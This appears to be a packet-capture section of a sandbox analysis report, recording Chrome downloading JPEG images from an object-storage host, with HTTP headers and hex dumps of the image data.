2025-01-09 23:51:37 UTC	391	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 b4 01 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222@"
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: cb 96 17 3a f0 2f f7 aa e6 a6 a5 a7 79 16 f0 d8 c1 79 32 ee 42 cc 0b 60 30 3d 07 03 f9 57 35 26 97 73 04 c4 88 ca 5b b7 f0 bc 85 b3 ee 09 00 fe 95 7b 5b d4 e4 8f 52 8a e4 cb 76 83 e5 64 49 ed f8 e4 70 03 8e 31 cf 23 35 95 79 ac 5d 5f 5e 13 2f 03 76 00 07 35 cf aa 3d c6 e3 d4 c6 87 c3 09 aa 6a 32 4f c7 94 66 31 ed 1e 98 e4 ff 00 3f ca bb d8 ec e1 b5 52 b0 46 a8 be 8a 31 56 a1 d2 13 4a 8e dd 04 45 1a 58 44 87 3e a7 96 1f 50 7f a5 39 d6 bb 28 cb 9a 3c c9 dd 1e 7d 49 45 bb 24 56 0b 4a 16 a6 db 8a 55 89 dc 80 a8 c4 9e 98 15 ad ec 66 b5 21 d9 e9 5a e9 7b 22 5b c9 2a 40 f2 b7 94 78 40 09 27 a7 73 55 a5 d3 e6 b6 84 cb 70 a2 25 18 f9 58 f2 7f 0a af a8 98 65 b2 59 38 8e 35 07 1b 66 64 e3 3d 49 5e 69 d4 c2 ce a5 3f 68 96 c3 a3 88 84 2a 72 37 b9 4a 5b f9 8d 89 79 22 Data Ascii: :/yy2B`0=W5&s[{[RvdIp1#5y]_^/v5=j2Of1?RF1VJEXD>P9(<}IE$VJUf!Z{"[@x@'sUp%XeY85fd=I^i?hr7J[y"
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 54 26 ba bd 52 fe ce d6 dc 1b b1 e6 9b 86 26 38 49 19 db 8f bd cf 3f 95 62 dd e9 c0 46 6e 2d 09 96 dc 7d ef 54 fa 8f 4f 7a f0 b9 5b a6 aa 25 64 cf 55 fb b5 1c 1b bb 46 68 19 a3 14 e1 41 a9 19 1e 31 46 29 e4 52 50 04 64 73 45 38 d2 50 22 ed 28 eb 4d cd 38 71 48 63 85 2e 29 01 1e b4 ec 8a 00 31 4a 28 a5 02 80 1f 4d 23 9a 77 6a 43 40 0c 22 90 2d 3c 8e 68 c5 00 37 14 bb 69 45 2d 00 37 14 f8 d9 63 6f 31 c7 ee e3 05 df d9 40 c9 fd 05 37 15 43 56 d7 2d e2 d0 ef 74 f8 80 12 c8 f1 a3 4b 8e ab c9 65 1e dc 28 fc 4d 44 dd 96 86 75 6a 28 46 ec e4 74 9f 36 c7 51 1a 84 71 2c d7 28 be 65 b4 0d 9c 3c 99 e3 a7 a7 5c 77 e9 5d 04 5a 45 cf 8d b4 99 f5 68 55 6d 21 b6 88 a4 6a ef b8 cb 26 e2 ef 93 d4 0c b1 03 d0 63 d2 b8 e3 ab c9 02 89 1e 36 fd dc 8c 4a 15 c8 3d c0 e3 b5 77 5e Data Ascii: T&R&8I?bFn-}TOz[%dUFhA1F)RPdsE8P"(M8qHc.)1J(M#wjC@"-<h7iE-7co1@7CV-tKe(MDuj(Ft6Qq,(e<\w]ZEhUm!j&c6J=w^
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: ca 4b 53 87 13 09 54 96 9d 0e 82 f0 ca be 64 aa cb e5 ce a0 26 0e 70 07 f8 e6 b9 f7 12 db 66 64 95 e2 91 b2 a3 63 e1 bd 08 e3 b5 32 4d 52 e6 38 f6 08 e2 64 ce 40 39 c0 3e 9d 7b f3 fe 4d 67 cb ab dc 19 0b 79 68 58 9c f0 0f 04 77 c6 68 48 8a 74 a6 8f 46 f0 87 8f 17 c3 f1 c7 6b 7d 6f 24 71 15 03 cc 18 64 c9 90 1d f8 c6 e5 21 4b 74 24 7b 72 6a c6 a4 b1 78 96 fe 6d 56 e6 e3 7d a2 c0 a9 6d 1c 72 09 0a 92 b9 69 1c 29 e8 bf 37 0d 82 48 c7 1c d7 93 49 7d 34 8c c5 8e e6 27 92 73 91 fa d4 71 6a 57 76 ae 5a 09 5a 32 46 d2 51 88 c8 f4 38 aa dc ec 8a 76 b3 3a 6d 5d 06 97 70 63 8e 61 3c 99 64 2d 09 64 3c 77 c7 a1 ed eb 83 59 f6 b6 b3 ea 77 f6 f0 5c 4e d0 c7 24 8b 19 79 32 db 01 38 ce 3d 05 51 93 5e d4 27 76 79 6e 1a 47 62 59 99 98 92 49 f5 e6 a5 b6 d4 2e 63 3e 61 54 2c Data Ascii: KSTd&pfdc2MR8d@9>{MgyhXwhHtFk}o$qd!Kt${rjxmV}mri)7HI}4'sqjWvZZ2FQ8v:m]pca<d-d<wYw\N$y28=Q^'vynGbYI.c>aT,
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: db 42 d4 a6 86 41 b9 24 8e d2 46 56 1e a0 81 83 5e ef e3 1b d3 73 e1 5d 65 21 92 e9 80 46 79 3c 8b a5 97 cb 8d d3 2b b9 53 24 21 00 9c 1e 31 ce 79 ac cf 0d 25 c4 96 da 2c 67 4e b9 b9 b5 3a 14 64 48 91 c6 c8 8e 3c e3 83 b9 49 dc 7e 5c 63 8c e3 20 d1 ed 5d af 60 e4 57 b1 e2 77 ba 0e ad 60 f0 c5 79 a4 de db c9 39 22 25 9a dd d0 c8 46 33 b4 11 cf 51 d3 d6 95 bc 27 af 0d 39 75 03 a4 5d 7d 99 a5 30 83 e5 9d db 80 cf dd fb d8 c7 7c 62 bd 4f c6 b7 83 c3 f7 be 14 b9 bd 37 40 5a 5e 6a 04 34 3e 5a c9 80 c9 b0 8c a6 c1 fc 27 ee e3 15 bb a8 88 53 4c 5b f4 d6 7c 4c da 5e 9b 68 d7 03 52 b4 d5 52 45 bb 72 c0 ec 61 83 b9 81 3b 79 00 00 3d 2a 27 36 ec 35 13 c1 b4 dd 07 52 d5 f5 23 a7 58 58 cd 35 e0 0c 5a 10 b8 65 db d7 39 e9 fe 3c 55 96 f0 c6 ab 60 56 6d 5b 4a be b1 b5 ce Data Ascii: BA$FV^s]e!Fy<+S$!1y%,gN:dH<I~\c ]`Ww`y9"%F3Q'9u]}0\|bO7@Z^j4>Z'SL[\|L^hRREra;y=*'65R#XX5Ze9<U`Vm[J
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: ed 58 db db e4 a7 ef 06 44 b1 75 dc dc 60 e7 ee e7 3e a3 9d dd ac 2e 5d 2e 79 1f 99 e4 32 8c 47 2b f7 c3 e7 15 35 95 9d de b1 7d 1d ad 85 b4 93 5c 48 d8 58 e3 19 24 9e 94 fb 9d 3a 5b 44 85 ae 6d e4 80 c9 10 99 04 88 57 7c 67 ee b0 07 19 07 b1 e8 6b bd f8 2d 7d 2d bf 88 af ec ed e2 6f 32 7b 61 29 78 e4 2a 42 c4 e1 88 c0 47 2d bb a6 00 ce 09 c7 34 36 d2 b8 92 4d d8 e4 57 48 d4 ad 6d 84 d7 9a 75 c4 76 de 73 40 ce ca 46 1c 01 91 f8 64 55 d8 fc 15 e2 0b 8b 73 75 6b a2 df 4d 6d 80 56 54 81 b0 e0 9c 0d bf de fc 33 5e c7 e3 db fb 8b 6f 00 6a 01 d6 ef ca 78 a3 b3 26 e2 69 81 cb 6d 01 f1 24 4b b8 fe ef 92 0f 56 39 ea 29 be 13 82 5d 4b c3 be 19 f3 6d 1a 55 7b 52 8f 2a d9 3c ca be 4b bb 2e 64 f3 40 42 59 73 c2 e4 e4 0c e2 92 a8 ed 72 94 15 ec 78 7d d7 87 f5 6b 2b a8 Data Ascii: XDu`>.].y2G+5}\HX$:[DmW\|gk-}-o2{a)xBG-46MWHmuvs@FdUsukMmVT3^ojx&im$KV9)]KmU{R<K.d@BYsrx}k+
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: c5 10 59 38 f9 b0 8a 01 3f 28 eb 9e 95 6d fe 25 78 ba 5b 83 e6 6a 36 65 e4 6c 97 7d 36 d8 e7 27 92 4f 97 50 fd 96 2d c5 ed cd b4 cb ea aa 33 8f a5 47 25 c4 ab 70 ad 0d 95 a0 d8 41 f9 ad d4 e4 fd 29 dd 9a c6 b3 6c b3 7d f1 0b c4 b2 7d a6 e0 6a 4d e6 5c 91 e6 4a b0 a2 33 1f 2f cb cf ca 06 d3 b4 63 8c 63 f1 ac 7b 8f 17 f8 8e fb 4d 93 4f ba d6 6f 6e 2d 64 71 23 ac b3 16 24 e1 87 de 3c e3 0c d9 19 c1 ee 38 15 d9 6b 9e 1f b9 d4 ae c5 c5 be 9f 63 12 c9 0c 62 48 e2 45 40 ae 14 06 c0 e9 d4 13 4b e1 ef 08 c7 65 3c 93 5f da c1 21 e3 cb 04 2b 81 ea 6b aa 96 0e b4 da 4d 34 bb 97 3a d0 e5 ba 67 37 26 af aa ea 9a 7d 85 ad fd c6 6d 6c 63 11 db 5b a2 04 44 1f de c0 ea c7 b9 3c d6 b2 f8 bb 5b 8d 34 e1 f6 b5 76 d3 83 0b 66 96 14 90 a2 b0 c1 5f 98 1c 8c 67 00 e7 1d bb 57 60 Data Ascii: Y8?(m%x[j6el}6'OP-3G%pA)l}}jM\J3/cc{MOon-dq#$<8kcbHE@Ke<_!+kM4:g7&}mlc[D<[4vf_gW`
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 8e 7e bf fd 7a a9 ab c1 7d a6 4b 0a 5c 44 d6 f3 cd 18 75 56 38 7d 87 a1 61 db 38 ce 0f 35 ec c2 3a 58 e4 54 ef b1 a9 77 25 bc 78 4b c6 3c f2 a6 26 52 c4 7b 8e df 8d 47 05 95 be a1 27 93 15 b4 70 c5 8f bc 5b 73 b7 e3 fe 15 16 99 a4 97 70 f3 fe f0 f5 24 0c 9c 7a 8a eb 6d 60 b6 78 15 63 c3 01 cf ae 3f cf ad 26 ec 65 39 28 68 8e 6a 6f 08 44 ab ba d6 e6 54 7e d9 e7 fa 0a b1 e1 4d 36 dc 78 92 0b 6d 66 49 19 11 f7 70 b9 57 f6 3d c0 ce 33 5d 14 b0 47 1e c2 a0 ee cf 51 d7 f3 34 db 5b 3b 83 3a dd cb 6c 91 26 59 51 f7 64 b6 3a 8a d7 0f 09 55 a8 a1 dc 71 ad 37 be a6 a6 46 4d 19 02 98 29 8e fc 57 d9 ab 25 61 04 b2 54 25 a9 19 b2 69 a4 d2 18 ec d6 96 87 a4 be af 7e 23 27 6c 29 f3 4a de 83 d0 7b 9a cb f6 af 41 f0 f5 aa e9 fa 6a 29 18 91 fe 77 fa 9e df 80 fe b5 e7 e6 38 Data Ascii: ~z}K\DuV8}a85:XTw%xK<&R{G'p[sp$zm`xc?&e9(hjoDT~M6xmfIpW=3]GQ4[;:l&YQd:Uq7FM)W%aT%i~#'l)J{Aj)w8
2025-01-09 23:51:37 UTC	945	IN	Data Raw: 05 7d 21 6d 1a c1 68 a0 76 15 dd 37 c9 42 31 5d 75 33 a4 b9 aa 39 76 2c 3f cc a6 b2 a7 d4 22 b4 62 24 60 bf 5a b1 6d 78 b2 c8 c0 1f bb c1 ae 63 c4 d6 cd 7b 77 0c 71 92 3e 6c 9c 54 51 a5 79 72 c8 d6 73 e5 8d d1 a2 26 6d 46 71 b7 ee 0a da b7 45 8d 42 d5 3d 32 cd 6d 6d 57 3d 40 ac ab 8f 10 47 16 bd 1d 89 61 97 15 72 5e d1 b8 c3 64 67 0f 77 de 97 53 a6 91 d6 25 2d da b8 0f 16 eb d0 b1 16 d1 b0 32 31 c7 1d ab ba 94 0b 8b 53 8e e2 bc 63 c4 3a 74 b6 be 2a 8c 12 4a c9 28 23 3f 5a 30 d4 63 52 e9 ee 6d 2a ee 93 52 48 bb 4a 0f 35 58 4f 91 d2 9e 25 f6 af 7f eb 14 fb 9e 25 99 63 35 47 51 3f ba 35 3f 9d ed 54 af 9d 9d 3e 51 59 d5 af 4f 95 ea 34 99 88 4f 26 93 34 e3 04 b9 fb a6 93 c9 93 fb a6 bc 57 5a 17 dc e9 e5 64 90 f2 f5 7c 1e 05 51 89 1d 48 f9 6a e2 6e 27 95 e0 72 Data Ascii: }!mhv7B1]u39v,?"b$`Zmxc{wq>lTQyrs&mFqEB=2mmW=@Gar^dgwS%-21Sc:tJ(#?Z0cRmRHJ5XO%%c5GQ?5?T>QYO4O&4WZd\|QHjn'r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49767	104.26.3.190	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	632	OUT	GET /images/img_678003bd8a5647.43110570.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	977	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/jpeg Content-Length: 13867 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:13:34 GMT x-rgw-object-type: Normal ETag: "f35ebdf15a728ab8e9a27cbab2e2368b" x-amz-request-id: tx00000adc0f691f7f6bb9e-0067806109-5b2857-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jbkEcaLafba3XcaQ6%2BispQW98zNfum%2FqacvF2hSDZQblVMha2%2F7bi4L3xXM5ENElyKVFW2NWd%2BdGUUpnSUP17cwK8KQTPp05%2BuBmUoUQ2EGMa0AiSYA6IXgGuWgfMOH3HVLaeTZTVAzzoErCdp9PK01r1FuuUdt1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff85615bb0d72b6-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3197&min_rtt=1942&rtt_var=3054&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2481&recv_bytes=1214&delivery_rate=1475492&cwnd=240&unsent_bytes=0&cid=cbcf9c34a0d3360c&ts=1102&x=0"
2025-01-09 23:51:37 UTC	392	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 b4 01 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222@"
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 9f c8 e6 f7 7b 9e 8e 3c 3f a4 a7 f0 47 49 fd 93 a4 46 c1 82 46 08 e4 1a f3 19 3c 7d 74 4f cb 08 c7 d6 a1 6f 1c 5d 1c 9f 2c 7e 74 39 36 1e ea 3d aa 0f b3 cb 17 ca db 82 f1 d6 b1 f5 34 8e 38 da 44 5c e1 b0 6b 86 f0 87 8d 2e 27 f1 04 56 d3 a8 11 4d 91 f8 d7 a3 5c c2 77 1c 9c 29 39 ac a6 b9 95 8d a9 54 e4 7c c8 ce b3 4f de e1 57 96 51 da 9d 73 74 91 c9 e4 94 fb bd 6b 5a d6 35 0e 59 17 e7 da 70 2b c5 b5 ef 13 ea 4b ae 5e 45 bb 60 49 59 40 c7 a1 a8 85 35 13 4a b8 97 35 a9 ea 02 fe dd 46 36 fe 94 1d 5a d9 7f e5 97 e3 8a f2 8d 33 c4 b2 8b a0 b7 ce cd 13 1c 64 76 af 44 b2 6b 3b 9b 65 d8 db d4 f2 0e 6b 9b 15 8e fa b6 f1 b9 34 a9 2a bb 33 4b fb 5a 12 32 b1 64 7d 2a 07 d6 e2 56 db b0 03 e8 4d 39 ad e3 82 c6 52 a3 38 52 45 79 b5 c5 f4 ba b6 b5 08 89 59 5b 3b 4a af 7a Data Ascii: {<?GIFF<}tOo],~t96=48D\k.'VM\w)9T\|OWQstkZ5Yp+K^E`IY@5J5F6Z3dvDk;ek43KZ2d}VM9R8REyY[;Jz
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 8a 81 a9 e2 df 0c 23 31 b8 89 42 a1 ce d3 d0 21 27 24 13 d8 67 9c f6 39 cf 07 8e 04 e9 d3 09 18 3c 58 d8 70 43 0f e9 5e cb 1e b9 a7 0b 5b 68 2f 65 1e 74 d6 e9 20 8c a9 62 e0 f1 c0 1c 9e 87 a5 67 df 78 7c ce be 65 b4 2c d1 8e 55 1c 05 75 1e 83 d4 7b 37 e6 05 69 52 93 69 35 b1 cf 4a bf 2e 8c f3 50 d7 96 22 c2 e6 dd 00 02 e5 10 a1 5c a3 2b 1d a5 48 ee 39 e9 58 df 12 bc 21 6f a6 b4 5a be 9d 68 2d 61 98 66 7b 45 39 11 12 78 65 ff 00 64 ff 00 51 f4 1e b1 65 a0 cc 5d 43 db 4b 18 43 b8 3c ca a1 63 f7 50 ac d9 3e 99 c0 fa f4 ad 4d 56 0b 0d 42 ca 30 6d b1 f6 72 36 b3 00 46 ce 87 90 4f 18 e7 07 ae 2b 4a 2e cb 53 3a f2 53 96 87 ca 38 c8 a0 0c 57 71 e3 bf 0c 47 a7 dc 3e ab 62 14 5a 4d 26 25 85 57 1e 43 9e c0 7f 74 9f cb a5 71 25 85 74 c5 a9 2b a3 09 45 c5 d9 90 bb 1e Data Ascii: #1B!'$g9<XpC^[h/et bgx\|e,Uu{7iRi5J.P"\+H9X!oZh-af{E9xedQe]CKC<cP>MVB0mr6FO+J.S:S8WqG>bZM&%WCtq%t+E
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 58 9f d1 a9 38 ab 5f a9 a2 92 3d 4a f1 c2 89 1b d0 57 83 78 aa ce e4 6b 37 37 92 2f ee a5 90 ed 22 bb 3b df 1d 6a 6f 6f 20 68 2d 00 20 f4 46 ff 00 e2 ab 82 9f 57 ba b9 d2 ee 60 98 23 af 99 b8 12 0e 47 d3 9a e7 93 9c 64 9a d8 a6 e3 25 a9 85 67 69 71 7f 79 0d 9d a4 2f 35 c4 ee 23 8e 34 19 2c c4 e0 01 4c 96 27 82 67 8a 55 29 22 31 56 53 d4 11 c1 15 ec 9f 09 f5 a8 3c 35 e0 7d 7b 54 b9 d7 6e 8c 10 a9 73 a6 d8 aa f9 90 97 64 8f ce 25 c6 dd dc ae 07 23 00 9e 7a 0d 9f 8b 3a b9 bd d1 3c 47 1d ae ad ac 8f b2 5d 5a db dc 5a 4c 62 fb 33 09 17 78 d8 02 ee fe 10 79 3d 6b a0 e7 3c 65 bc 21 e2 15 b7 b0 9c 68 d7 92 26 a0 18 da f9 51 17 69 30 48 3f 2a e4 83 c1 e0 81 91 cf 4a 58 fc 29 ae 8d 56 2d 3a 6d 1b 50 8a f6 55 df 1d b4 96 ce b2 3a f3 c8 52 32 47 07 27 d8 fa 57 d2 96 Data Ascii: X8_=JWxk77/";joo h- FW`#Gd%giqy/5#4,L'gU)"1VS<5}{Tnsd%#z:<G]ZZLb3xy=k<e!h&Qi0H?*JX)V-:mPU:R2G'W
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 36 4e 07 de c7 19 e3 34 fb bd 1b 5c 86 1b 83 6f a3 5f 5c b4 32 34 4e 60 81 a4 55 75 ea 0b 28 23 8f ad 77 b7 f3 5c a7 c4 3d 16 5b fb cb 6b 39 63 89 63 43 1d 9c b8 db b9 80 5d b2 8c e5 b7 30 dd d0 75 ed 5d 04 92 43 a9 6a 49 7f 0d f5 cc 49 a6 5f 5d ad d7 ee 63 f2 87 ca 54 99 86 f0 4a ec 18 52 06 72 39 e6 8b 05 cf 14 d0 ed 35 ed 59 a7 11 e9 37 57 09 11 c1 92 de dd a4 45 38 07 69 23 3c e0 8e 2a 2f 12 68 ba e5 a2 2c 97 5a 35 f5 bd aa 60 bc f2 da ba a0 24 e0 02 c4 63 ff 00 d7 5e 8f f0 aa ff 00 74 9e 20 bd 36 b6 6b 18 be de 8e 26 8e 3d 8b 82 36 85 7c b2 a8 ca f3 9f 6c 9c 1a b3 f1 5a 47 7f 08 48 86 d2 df 72 4d 14 2d 21 b9 83 7a 6d ce 40 55 01 89 c9 5c a8 e9 d7 00 66 93 d8 6b e2 3c 0b 57 cf d9 a2 23 ee ee e6 a9 69 5a 5d e6 b5 aa 5b e9 ba 7c 06 7b bb 87 09 1c 60 81 Data Ascii: 6N4\o_\24N`Uu(#w\=[k9ccC]0u]CjII_]cTJRr95Y7WE8i#<*/h,Z5`$c^t 6k&=6\|lZGHrM-!zm@U\fk<W#iZ][\|{`
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 01 ba 01 cf a5 56 b2 f1 a7 8a 0e b3 6f 77 fd ad 75 73 3c 6e cc a9 70 e5 e3 c9 24 9c a1 e0 8c b1 3d 2b a6 f1 5d 85 9c 13 ea 2b 15 b4 28 ab 23 6d 0b 18 18 e4 d7 3d e1 ab 78 07 88 2c 84 d1 44 d0 bc aa 92 2b 81 b4 a9 3c e7 db d6 9d 0a 9c e9 8f 1d 86 f6 52 8a ee 8d 6b cd 67 52 9b 4d d5 24 7d 46 46 9b 52 61 35 d4 aa 02 99 98 1c 81 d3 21 7d 00 c0 e9 e9 54 f5 8f 14 f8 8e ff 00 48 65 b8 bf 79 8b 5a fd 96 72 ea ac cd 16 fd e4 12 47 5d c0 1d dd 78 eb 5e 97 7b 67 a6 cf 2b 2a 58 5a 6d 3d 0a c0 a0 01 e8 38 ff 00 3f ce 18 f4 ad 3b 70 06 c2 d0 a9 e0 e6 15 e4 7e 55 12 c5 25 2b 0a 18 36 e3 73 c9 f4 ef 1e f8 8f 47 d0 9f 47 d3 af 52 da d2 44 64 73 1c 08 24 6c f7 32 63 76 40 c8 07 3c 03 81 50 41 e3 6f 10 db 5b 58 c1 0e a2 eb f6 18 e5 86 da 4d 8a 64 89 24 5d ac aa e4 6e 03 1d Data Ascii: Vowus<np$=+]+(#m=x,D+<RkgRM$}FFRa5!}THeyZrG]x^{g+*XZm=8?;p~U%+6sGGRDds$l2cv@<PAo[XMd$]n
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: fc 4d 25 a9 8e 5b 9b 33 02 31 65 8f fb 36 d8 28 63 d4 e0 47 d7 8a a8 9e 2a d5 ad 64 2f 05 ca 26 2f 45 fe d1 0a 60 4e 01 01 80 c6 07 de 3c 0e 3d ab b3 d1 ed 74 8d 43 49 63 15 a5 a0 93 3f f3 cd 7f c2 a2 93 c3 76 ae 49 7b 7b 75 1d f1 18 ff 00 0a e5 a9 52 ce c7 7d 3c 33 71 ba 38 88 b5 ed 4c 5a ea 31 7d b6 52 9a 8f 37 61 8e 7c d2 1b 76 4e 7b e7 bf b9 f5 ae 5a fa fa ee 74 8a d2 6b a9 e4 b7 b6 2c 20 89 e4 25 22 dc 72 db 41 e1 72 79 38 eb 5e ba da 5e 97 1c 2c a9 69 01 20 75 31 8a f2 9b f5 8c df 4c 42 28 1b ce 00 15 74 e7 cc 63 88 a7 c8 87 da 42 64 95 80 e8 17 24 9e 82 a4 78 22 8d 48 c8 3e e4 55 8b 58 fc bb 7d cd c0 3f 33 7f 41 50 c8 d1 bb 12 70 6b 63 94 a8 cb 83 c7 e9 48 a9 bd b1 d3 eb 56 3c 98 98 7d e6 1f 4a 61 4c 36 dc ee 1d b3 40 1d 5f 84 b5 93 65 32 d8 5c 39 Data Ascii: M%[31e6(cG*d/&/E`N<=tCIc?vI{{uR}<3q8LZ1}R7a\|vN{Ztk, %"rAry8^^,i u1LB(tcBd$x"H>UX}?3APpkcHV<}JaL6@_e2\9
